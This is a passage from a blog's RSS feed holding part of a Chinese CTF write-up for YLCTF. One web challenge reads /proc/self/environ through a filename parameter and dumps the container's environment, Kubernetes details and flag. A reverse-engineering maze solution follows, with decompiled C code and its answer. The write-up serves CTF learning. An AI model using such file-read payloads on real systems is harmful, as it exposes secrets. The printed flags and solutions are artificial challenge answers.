src=&#34;upload/Image/8b52a02f-e703-42a8-818f-c97038cd9e7c.png&#34; alt=&#34;IMG_260&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;尝试一下读取系统变量 ?filename=/proc/self/environ&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/4413c50d-4ed9-47aa-918d-47de7baa40b6.png&#34; alt=&#34;IMG_261&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;KUBERNETES_SERVICE_PORT_HTTPS=443.KUBERNETES_SERVICE_PORT=443.HOSTNAME=web-01javzxwden32j0v34efnz4982.PYTHON_VERSION=3.8.19.PWD=/.PYTHON_SETUPTOOLS_VERSION=57.5.0.HOME=/root.LANG=C.UTF-8.KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443.GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568.SHLVL=0.KUBERNETES_PORT_443_TCP_PROTO=tcp.PYTHON_PIP_VERSION=23.0.1.KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1.WEB_CONCURRENCY=1.PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a.GZCTF_TEAM_ID=418.KUBERNETES_SERVICE_HOST=10.43.0.1.GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}.KUBERNETES_PORT=tcp://10.43.0.1:443.KUBERNETES_PORT_443_TCP_PORT=443.PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py.PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin._=/usr/bin/nohup&lt;/p&gt;&#xA;&lt;p&gt;GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}&lt;/p&gt;&#xA;&lt;h2 id=&#34;rev&#34;&gt;Rev&lt;a class=&#34;heading-anchor&#34; href=&#34;#rev&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;round-3-ezmaze&#34;&gt;[Round 3] ezmaze&lt;a class=&#34;heading-anchor&#34; href=&#34;#round-3-ezmaze&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件&lt;/p&gt;&#xA;&lt;p&gt;拖入IDA反编译&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)&#xA;{&#xA;    char action[55]; // [rsp+20h] [rbp-60h] BYREF&#xA;    char singleAction; // [rsp+57h] [rbp-29h]&#xA;    char *maze; // [rsp+58h] [rbp-28h]&#xA;    int detailAction; // [rsp+64h] [rbp-1Ch]&#xA;    int step; // [rsp+68h] [rbp-18h]&#xA;    int place; // [rsp+6Ch] [rbp-14h]&#xA;&#xA;    _main(argc, argv, envp);&#xA;    maze = &amp;quot;*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************&amp;quot;;&#xA;    place = 5;&#xA;    gets(action);&#xA;    step = 0;&#xA;    detailAction = 0;&#xA;    while ( step &amp;lt; strlen(action) )&#xA;    {&#xA;        singleAction = action[step++];&#xA;        if ( singleAction == 100 )&#xA;        {&#xA;            detailAction = 1;&#xA;        }&#xA;        else if ( singleAction &amp;gt; 100 )&#xA;        {&#xA;            if ( singleAction == 115 )&#xA;            {&#xA;                detailAction = 10;&#xA;            }&#xA;            else if ( singleAction == 119 )&#xA;            {&#xA;                detailAction = -10;&#xA;            }&#xA;        }&#xA;        else if ( singleAction == 97 )&#xA;        {&#xA;            detailAction = -1;&#xA;        }&#xA;        if ( maze[detailAction + (__int64)place] != 43 &amp;amp;&amp;amp; maze[detailAction + (__int64)place] != 70 )&#xA;        {&#xA;            printf(&amp;quot;ooooh , Not feasible ahead!&amp;quot;);&#xA;            return 0;&#xA;        }&#xA;        while ( maze[detailAction + (__int64)place] == 43 || maze[detailAction + (__int64)place] == 70 )&#xA;            place += detailAction;&#xA;    }&#xA;    if ( maze[place] == 70 )&#xA;        printf(&amp;quot;you get the flag! flag is : YLCTF{md5(%s)}&amp;quot;, action);&#xA;    else&#xA;        printf(&amp;quot;come on!&amp;quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;阅读代码 发现是迷宫 w左移10行 s右移十行 其实可以转换成二维的&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/31c1285c-cef1-41c4-8abf-0ab759a49edb.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;另外&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/3ca3701b-23f5-4e4d-a561-5548acac5ce9.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;所以操作一次后 只有当下一步会到达*时才会停止操作 否则会重复当前操作&lt;/p&gt;&#xA;&lt;p&gt;可知路径如下：dsasasdsaw&lt;/p&gt;&#xA;&lt;p&gt;md5 -&amp;gt; efac19a75e413ad6680adec92504b654&lt;/p&gt;&#xA;&lt;p&gt;Flag -&amp;gt; YLCTF{efac19a75e413ad6680adec92504b654}&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>Interests</title>
      <link>https://new.mnzn.me/interests/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/interests/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Links</title>
      <link>https://new.mnzn.me/friends/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/friends/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Timeline</title>
      <link>https://new.mnzn.me/timeline/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/timeline/</guid>
      <description></description>
    </item>
    
  </channel>
</rss>
